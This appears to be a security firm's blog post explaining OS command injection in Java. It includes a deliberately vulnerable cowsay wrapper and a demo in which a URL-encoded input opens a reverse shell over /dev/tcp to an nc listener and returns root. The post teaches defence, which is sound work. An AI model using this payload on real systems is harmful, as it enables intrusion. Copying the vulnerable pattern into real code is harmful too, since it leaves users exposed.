Blog

Avoiding OS command injection

Every command call and dynamic code generation method is a ticking bomb and must be handled accordingly.

schedule a call

The core idea behind injection vulnerabilities (SQLiNoSQLi, OS cmd, etc.)

user input -> event -> function1 -> function2
                       ^      ^vuln^
    __________________/

OS command injection

simple example:

try {
    String comm = "cmd.exe /c dir "+user_path;
    Process process = Runtime.getRuntime().exec(comm);

surprisingly, not simple:

  • not using commands at all
  • not trusting blacklisting (nor whitelisting)
  • not trusting self-written string sanitization

OS command injection: demo

OS command injection with CVSS lower than 9.

processBuilder.command("bash", "-c", cmd);

Exploitation demo

$ curl "https://tenendo.com:8080/cowsay?input=hello%27%20%7Cbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F777%200%3E%261%20%23"
___

$ nc -lvnp 777
listening on [any] 777 ...
connect to [10.0.2.15] from (UNKNOWN) [172.22.0.5] 37684
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7572cc50101f:/# id 
id 
uid=0(root) gid=0(root) groups=0(root)  


Data flow

hello%27%20%7Cbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F777%200%3E%261%20%23 
hello' |bash -i >& /dev/tcp/10.0.2.15/777 0>&1 #
/usr/games/cowsay 'hello' |bash -i >& /dev/tcp/10.0.2.15/777 0>&1 #'

Vulnerable code example

public class Cowsay {
  public static String run(String input) {
    ProcessBuilder processBuilder = new ProcessBuilder();
    String cmd = "/usr/games/cowsay '" + input + "'";
    System.out.println(cmd);
    processBuilder.command("bash", "-c", cmd);

    StringBuilder output = new StringBuilder();

    try {
      Process process = processBuilder.start();
      BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));

      String line;
      while ((line = reader.readLine()) != null) {
        output.append(line + "\n");
      }
    } catch (Exception e) {
      e.printStackTrace();
    }
    return output.toString();
  }
}

Mitigation

  • every command call and dynamic code generation method is a ticking bomb and must be handled accordingly
  • same with every third-party component that does that